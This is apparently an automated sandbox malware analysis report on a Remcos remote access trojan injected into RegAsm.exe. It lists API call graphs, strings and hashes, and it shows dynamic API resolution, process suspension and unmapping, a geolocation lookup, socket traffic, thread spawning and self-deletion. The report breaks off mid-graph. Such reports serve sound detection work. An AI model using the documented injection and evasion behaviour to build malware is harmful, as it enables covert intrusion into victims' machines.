49084 432ec4 21 API calls new 49073->49084 49075->49070 49075->49071 49085 41da5f 49 API calls 49075->49085 49076->49056 49077->49056 49078->49051 49079->49051 49080->49052 49081->49060 49082->49067 49083->49073 49084->49075 49085->49071 49086->49070 49087 434875 49092 434b47 SetUnhandledExceptionFilter 49087->49092 49089 43487a pre_c_initialization 49093 44554b 20 API calls 2 library calls 49089->49093 49091 434885 49092->49089 49093->49091 49094 415d06 49109 41b380 49094->49109 49096 415d0f 49097 4020f6 28 API calls 49096->49097 49098 415d1e 49097->49098 49120 404aa1 61 API calls _Yarn 49098->49120 49100 415d2a 49101 417089 49100->49101 49102 401fd8 11 API calls 49100->49102 49103 401e8d 11 API calls 49101->49103 49102->49101 49104 417092 49103->49104 49105 401fd8 11 API calls 49104->49105 49106 41709e 49105->49106 49107 401fd8 11 API calls 49106->49107 49108 4170aa 49107->49108 49110 4020df 11 API calls 49109->49110 49111 41b38e 49110->49111 49112 43bd51 new 21 API calls 49111->49112 49113 41b39e InternetOpenW InternetOpenUrlW 49112->49113 49114 41b3c5 InternetReadFile 49113->49114 49118 41b3e8 49114->49118 49115 4020b7 28 API calls 49115->49118 49116 41b415 InternetCloseHandle InternetCloseHandle 49117 41b427 49116->49117 49117->49096 49118->49114 49118->49115 49118->49116 49119 401fd8 11 API calls 49118->49119 49119->49118 49120->49100 49121 426c4b 49126 426cc8 send 49121->49126 49127 44831e 49135 448710 49127->49135 49130 448332 49132 44833a 49133 448347 49132->49133 49143 44834a 11 API calls 49132->49143 49136 4484ca _Atexit 5 API calls 49135->49136 49137 448737 49136->49137 49138 44874f TlsAlloc 49137->49138 49139 448740 49137->49139 49138->49139 49140 434fcb TranslatorGuardHandler 5 API calls 49139->49140 49141 448328 49140->49141 49141->49130 49142 448299 20 API calls 3 library calls 49141->49142 49142->49132 49143->49130 49144 43be58 49146 43be64 _swprintf ___FrameUnwindToState 49144->49146 49145 43be72 49160 4405dd 20 API calls _Atexit 49145->49160 49146->49145 49148 43be9c 49146->49148 49155 445888 EnterCriticalSection 49148->49155 49150 43be77 ___FrameUnwindToState _Atexit 49151 43bea7 49156 43bf48 49151->49156 49155->49151 49157 43bf56 49156->49157 49159 43beb2 49157->49159 49162 44976c 37 API calls 2 library calls 49157->49162 49161 43becf LeaveCriticalSection std::_Lockit::~_Lockit 49159->49161 49160->49150 49161->49150 49162->49157 49163 41dfbd 49164 41dfd2 _Yarn ___scrt_get_show_window_mode 49163->49164 49176 41e1d5 49164->49176 49182 432ec4 21 API calls new 49164->49182 49167 41e1e6 49168 41e189 49167->49168 49178 432ec4 21 API calls new 49167->49178 49170 41e182 ___scrt_get_show_window_mode 49170->49168 49183 432ec4 21 API calls new 49170->49183 49172 41e21f ___scrt_get_show_window_mode 49172->49168 49179 43354a 49172->49179 49174 41e1af ___scrt_get_show_window_mode 49174->49168 49184 432ec4 21 API calls new 49174->49184 49176->49168 49177 41db62 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_get_show_window_mode 49176->49177 49177->49167 49178->49172 49185 433469 49179->49185 49181 433552 49181->49168 49182->49170 49183->49174 49184->49176 49186 433482 49185->49186 49187 433478 49185->49187 49186->49187 49191 432ec4 21 API calls new 49186->49191 49187->49181 49189 4334a3 49189->49187 49192 433837 CryptAcquireContextA 49189->49192 49191->49189 49193 433858 CryptGenRandom 49192->49193 49194 433853 49192->49194 49193->49194 49195 43386d CryptReleaseContext 49193->49195 49194->49187 49195->49194 49196 426bdc 49202 426cb1 recv 49196->49202

                              Executed Functions

                              Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                              • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                              • LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                              • LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                              • LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                              • LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                              • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                              • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                              • LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                              • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                              • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                              • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                              • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                              • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                              • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC86
                              • LoadLibraryA.KERNEL32(kernel32), ref: 0041CC97
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC9A
                              • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCAA
                              • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCBA
                              • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCCC
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCCF
                              • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCDC
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCDF
                              • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCF3
                              • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD07
                              • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD19
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD1C
                              • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD29
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD2C
                              • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD39
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD3C
                              • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD49
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD4C
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressProc$LibraryLoad$HandleModule
                              • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                              • API String ID: 4236061018-3687161714
                              • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                              • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                              • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                              • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                              Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1175 41b380-41b3c3 call 4020df call 43bd51 InternetOpenW InternetOpenUrlW 1180 41b3c5-41b3e6 InternetReadFile 1175->1180 1181 41b3e8-41b408 call 4020b7 call 403376 call 401fd8 1180->1181 1182 41b40c-41b40f 1180->1182 1181->1182 1184 41b411-41b413 1182->1184 1185 41b415-41b422 InternetCloseHandle * 2 call 43bd4c 1182->1185 1184->1180 1184->1185 1189 41b427-41b431 1185->1189
                              APIs
                              • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                              • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                              • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                              • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                              • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                              Strings
                              • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Internet$CloseHandleOpen$FileRead
                              • String ID: http://geoplugin.net/json.gp
                              • API String ID: 3121278467-91888290
                              • Opcode ID: ed6e4750be8d51d583a68a6d75bf3866e9d73d32e6528751d06602238a365c91
                              • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                              • Opcode Fuzzy Hash: ed6e4750be8d51d583a68a6d75bf3866e9d73d32e6528751d06602238a365c91
                              • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                              Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                                • Part of subcall function 00413549: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                                • Part of subcall function 00413549: RegQueryValueExA.KERNEL32 ref: 00413587
                                • Part of subcall function 00413549: RegCloseKey.KERNEL32(?), ref: 00413592
                              • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                              • ExitProcess.KERNEL32 ref: 0040F8CA
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseExitOpenProcessQuerySleepValue
                              • String ID: 5.0.0 Pro$override$pth_unenc
                              • API String ID: 2281282204-3992771774
                              • Opcode ID: 0c6c273467781de05ac3cf7c04fce85a932ac025a43e79accc6add002e08d8ca
                              • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                              • Opcode Fuzzy Hash: 0c6c273467781de05ac3cf7c04fce85a932ac025a43e79accc6add002e08d8ca
                              • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                              Function 00448957 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Time$FileSystem
                              • String ID: GetSystemTimePreciseAsFileTime$5}/
                              • API String ID: 2086374402-160938949
                              • Opcode ID: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                              • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                              • Opcode Fuzzy Hash: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                              • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                              Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                              Download Yara Rule
                              APIs
                              • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,004334BF,00000034,?,?,00519568), ref: 00433849
                              • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000), ref: 0043385F
                              • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000,0041E251), ref: 00433871
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Crypt$Context$AcquireRandomRelease
                              • String ID:
                              • API String ID: 1815803762-0
                              • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                              • Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
                              • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                              • Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C
                              Function 0041B60D Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                              Download Yara Rule
                              APIs
                              • GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: NameUser
                              • String ID:
                              • API String ID: 2645101109-0
                              • Opcode ID: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                              • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                              • Opcode Fuzzy Hash: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                              • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                              Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                              Download Yara Rule
                              APIs
                              • SetUnhandledExceptionFilter.KERNEL32 ref: 00434B4C
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExceptionFilterUnhandled
                              • String ID:
                              • API String ID: 3192549508-0
                              • Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                              • Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
                              • Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                              • Instruction Fuzzy Hash:
                              Function 0040E9C5 Relevance: 86.5, APIs: 15, Strings: 34, Instructions: 795COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 5 40e9c5-40ea47 call 41cb50 GetModuleFileNameW call 40f3c3 call 4020f6 * 2 call 41be1b call 40fb17 call 401e8d call 43fd00 22 40ea93-40eb5b call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40ea49-40ea8e call 40fbb3 call 401e65 call 401fab call 410f37 call 40fb64 call 40f3b0 5->23 69 40eb5d-40eba8 call 406c1e call 401fe2 call 401fd8 call 401fab call 413549 22->69 70 40ebae-40ebc9 call 401e65 call 40b9bd 22->70 49 40eef2-40ef03 call 401fd8 23->49 69->70 102 40f34f-40f36a call 401fab call 4139a9 call 412475 69->102 79 40ec03-40ec0a call 40d069 70->79 80 40ebcb-40ebea call 401fab call 413549 70->80 88 40ec13-40ec1a 79->88 89 40ec0c-40ec0e 79->89 80->79 98 40ebec-40ec02 call 401fab call 4139a9 80->98 93 40ec1c 88->93 94 40ec1e-40ec2a call 41b2c3 88->94 92 40eef1 89->92 92->49 93->94 104 40ec33-40ec37 94->104 105 40ec2c-40ec2e 94->105 98->79 126 40f36f-40f3a0 call 41bc5e call 401f04 call 413a23 call 401f09 * 2 102->126 108 40ec76-40ec89 call 401e65 call 401fab 104->108 109 40ec39 call 407716 104->109 105->104 127 40ec90-40ed18 call 401e65 call 41bc5e call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->127 128 40ec8b call 407755 108->128 118 40ec3e-40ec40 109->118 121 40ec42-40ec47 call 407738 call 407260 118->121 122 40ec4c-40ec5f call 401e65 call 401fab 118->122 121->122 122->108 141 40ec61-40ec67 122->141 157 40f3a5-40f3af call 40dd42 call 414f2a 126->157 177 40ed80-40ed84 127->177 178 40ed1a-40ed33 call 401e65 call 401fab call 43bad6 127->178 128->127 141->108 144 40ec69-40ec6f 141->144 144->108 147 40ec71 call 407260 144->147 147->108 179 40ef06-40ef66 call 436e90 call 40247c call 401fab * 2 call 4136f8 call 409057 177->179 180 40ed8a-40ed91 177->180 178->177 203 40ed35-40ed7b call 401e65 call 401fab call 401e65 call 401fab call 40da34 call 401f13 call 401f09 178->203 234 40ef6b-40efbf call 401e65 call 401fab call 402093 call 401fab call 41376f call 401e65 call 401fab call 43baac 179->234 182 40ed93-40ee0d call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cdf9 180->182 183 40ee0f-40ee19 call 409057 180->183 193 40ee1e-40ee42 call 40247c call 434798 182->193 183->193 210 40ee51 193->210 211 40ee44-40ee4f call 436e90 193->211 203->177 217 40ee53-40ee9e call 401f04 call 43f809 call 40247c call 401fab call 40247c call 401fab call 413947 210->217 211->217 271 40eea3-40eec8 call 4347a1 call 401e65 call 40b9bd 217->271 286 40efc1 234->286 287 40efdc-40efde 234->287 271->234 288 40eece-40eeed call 401e65 call 41bc5e call 40f474 271->288 289 40efc3-40efda call 41cd9b CreateThread 286->289 290 40efe0-40efe2 287->290 291 40efe4 287->291 288->234 306 40eeef 288->306 294 40efea-40f0c6 call 402093 * 2 call 41b4ef call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43baac call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 289->294 290->289 291->294 344 40f101 294->344 345 40f0c8-40f0ff call 4344ea call 401e65 call 401fab CreateThread 294->345 306->92 347 40f103-40f11b call 401e65 call 401fab 344->347 345->347 356 40f159-40f16c call 401e65 call 401fab 347->356 357 40f11d-40f154 call 4344ea call 401e65 call 401fab CreateThread 347->357 367 40f1cc-40f1df call 401e65 call 401fab 356->367 368 40f16e-40f1c7 call 401e65 call 401fab call 401e65 call 401fab call 40d9e8 call 401f13 call 401f09 CreateThread 356->368 357->356 379 40f1e1-40f215 call 401e65 call 401fab call 401e65 call 401fab call 43baac call 40c162 367->379 380 40f21a-40f23e call 41b60d call 401f13 call 401f09 367->380 368->367 379->380 400 40f240-40f241 SetProcessDEPPolicy 380->400 401 40f243-40f256 CreateThread 380->401 400->401 404 40f264-40f26b 401->404 405 40f258-40f262 CreateThread 401->405 408 40f279-40f280 404->408 409 40f26d-40f277 CreateThread 404->409 405->404 412 40f282-40f285 408->412 413 40f28e 408->413 409->408 416 40f287-40f28c 412->416 417 40f2cc-40f2df call 401fab call 4134ff 412->417 415 40f293-40f2c7 call 402093 call 4052fd call 402093 call 41b4ef call 401fd8 413->415 415->417 416->415 426 40f2e4-40f2e7 417->426 426->157 428 40f2ed-40f32d call 41bc5e call 401f04 call 41361b call 401f09 call 401f04 426->428 443 40f346-40f34b DeleteFileW 428->443 444 40f34d 443->444 445 40f32f-40f332 443->445 444->126 445->126 446 40f334-40f341 Sleep call 401f04 445->446 446->443
                              APIs
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                              • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 0040E9EE
                                • Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                              • String ID: SG$ SG$8SG$8SG$Access Level: $Administrator$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Exe$Inj$PSG$Remcos Agent initialized$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                              • API String ID: 2830904901-3701325316
                              • Opcode ID: 747d405c528f15ab38f340b499f6c8eb85ced7579b397f1517eaf58dd5f7f014
                              • Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
                              • Opcode Fuzzy Hash: 747d405c528f15ab38f340b499f6c8eb85ced7579b397f1517eaf58dd5f7f014
                              • Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E
                              Function 00414F2A Relevance: 46.3, APIs: 5, Strings: 21, Instructions: 809sleepnetworkCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 448 414f2a-414f72 call 4020df call 41b8b3 call 4020df call 401e65 call 401fab call 43baac 461 414f81-414fcd call 402093 call 401e65 call 4020f6 call 41be1b call 40489e call 401e65 call 40b9bd 448->461 462 414f74-414f7b Sleep 448->462 477 415041-4150dc call 402093 call 401e65 call 4020f6 call 41be1b call 401e65 * 2 call 406c1e call 402f10 call 401fe2 call 401fd8 * 2 call 401e65 call 405b05 461->477 478 414fcf-41503e call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 40473d 461->478 462->461 531 4150ec-4150f3 477->531 532 4150de-4150ea 477->532 478->477 533 4150f8-41518a call 405aa6 call 40531e call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 2 call 401e65 call 401fab call 401e65 call 401fab call 414ee9 531->533 532->533 560 4151d5-4151e3 call 40482d 533->560 561 41518c-4151d0 WSAGetLastError call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 533->561 566 415210-415225 call 404f51 call 4048c8 560->566 567 4151e5-41520b call 402093 * 2 call 41b4ef 560->567 581 415aa3-415ab5 call 404e26 call 4021fa 561->581 566->581 582 41522b-41537e call 401e65 * 2 call 40531e call 406383 call 402f10 call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 4 call 41b7e0 call 4145bd call 40905c call 441e81 call 401e65 call 4020f6 call 40247c call 401fab * 2 call 4136f8 566->582 567->581 597 415ab7-415ad7 call 401e65 call 